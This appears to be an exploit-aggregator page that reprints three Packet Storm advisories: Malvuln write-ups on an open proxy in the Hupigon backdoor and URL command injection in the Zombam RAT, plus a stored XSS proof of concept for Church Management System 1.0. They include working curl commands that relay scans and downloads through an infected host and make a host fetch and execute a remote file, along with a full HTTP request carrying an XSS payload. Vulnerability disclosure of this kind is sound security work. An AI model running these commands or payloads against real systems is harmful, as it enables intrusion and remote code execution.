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Backdoor.Win32.Hupigon.aiss Unauthenticated Open Proxy

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Backdoor.Win32.Hupigon.aiss malware suffers from an unauthenticated open proxy vulnerability.

MD5 | 231bda47433e23b7e8bc24e07cd7ebdc

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Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/79affcb4051d36dde3d1543a4fd88368.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.aiss
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP ports 8080, 1080 and drops its executable under Windows dir. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: 79affcb4051d36dde3d1543a4fd88368
Vuln ID: MVID-2021-0270
Dropped files: Hacker.com.cn.exe
Disclosure: 07/03/2021

Exploit/PoC:
Scan port 21)

curl  http://192.168.18.129:8080 -H "Host: 192.168.18.128:21" -v
Rebuilt URL to: http://192.168.18.129:8080/
Trying 192.168.18.129...
TCP_NODELAY set
Connected to 192.168.18.129 (192.168.18.129) port 8080 (#0)
GET / HTTP/1.1
Host: 192.168.18.128:21
User-Agent: curl/7.55.1
Accept: */*

220 INetSim FTP Service ready.
500 Unknown command.

Download filez)

curl  http://192.168.18.129:8080/DOOM.exe -H "Host: 192.168.18.128" -v --out DOOM.exe

* Trying 192.168.18.129...

GET /DOOM.exe HTTP/1.1
Host: 192.168.18.128
User-Agent: curl/7.55.1
Accept: */*

HTTP 1.0, assume close after body
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.6
Date: Fri, 02 Jul 2021 02:03:28 GMT
Content-type: application/x-msdos-program
Content-Length: 103533
Last-Modified: Sat, 03 Aug 2019 04:57:12 GMT

{ [102194 bytes data]
100  101k  100  101k    0     0   101k      0  0:00:01 --:--:--  0:00:01  927k
* Closing connection 0
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

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Exploit Collector
Church Management System 1.0 Cross Site Scripting

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Church Management System version 1.0 suffers from a suffers from a persistent cross site scripting vulnerability.

MD5 | be30345854f4aaa8271ee16d3aaa35ac

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# Exploit Title: Church Management System 1.0 - 'Multiple' Stored Cross-Site Scripting (XSS)
# Date: 07/03/2021
# Exploit Author: Murat DEMIRCI (@butterflyhunt3r)
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/11206/church-management-system.html
# Version: 1.0
# Tested on: Windows 10

# Proof of Concept :

#Payload: x 
#Injectable parameters : amount=  and trcode=

###################### REQUEST ##########################################

POST /cman/members/Tithes.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
Origin: http://localhost
Connection: close
Referer: http://localhost/cman/members/Tithes.php
Cookie: PHPSESSID=cne2l4cs96krjqpbpus7nv2sjc
Upgrade-Insecure-Requests: 1

amount=<img+src%3dx+onerror%3dalert(1)&trcode=<img+src%3dx+onerror%3dalert(1)&save=

Source:packetstormsecurity.com

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Exploit Collector
Backdoor.Win32.Zombam.l Code Execution

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Backdoor.Win32.Zombam.l malware suffers from a code execution vulnerability.

MD5 | d8165a57870272aa9039bd9a43a2f5eb

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Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9729e9fc004ea49d3c2ddee28736dae3_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Zombam.l
Vulnerability: Unauthenticated URL Command Injection
Description: Zombam malware listens on TCP port 80 and deploys a HTML Web UI for basic remote administration capability. The RAT has option to kill processes by clicking a link E.g. href="/kill&smss.exe&" this would terminate the smss.exe process. By changing "kill" to exec "exec&<command-to-run" you can start arbitrary processes. Crafting a successful injection requires padding an extra character to the end of the executable extension you want to call, otherwise it gets truncated and will fail. Example, curl http://x.x.x.x/exec&calc.exe results in the following message: "error! calc.ex cannot be executed". However, padding the extra character so ".exe" becomes ".exee", curl http://x.x.x.x/exec&calc.exee will successfully process and we will get the response "calc.exe executed".

welcome 2 HTTP_RAT infected computer }]
menu [running processes] [browse] [computer info] [stop httprat] [have suggestions?] [homepage]

Type: PE32
MD5: 9729e9fc004ea49d3c2ddee28736dae3
Vuln ID: MVID-2021-0277
Disclosure: 07/03/2021

Exploit/PoC:
Opens the default web-browser on the infected host to download the file "DOOM.exe" from the server.

CURL http://x.x.x.x/exec&http://hyp3rlinx.altervista.org/DOOM.exee

HTTP Response: 
http://hyp3rlinx.altervista.org/DOOM.exe executed

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).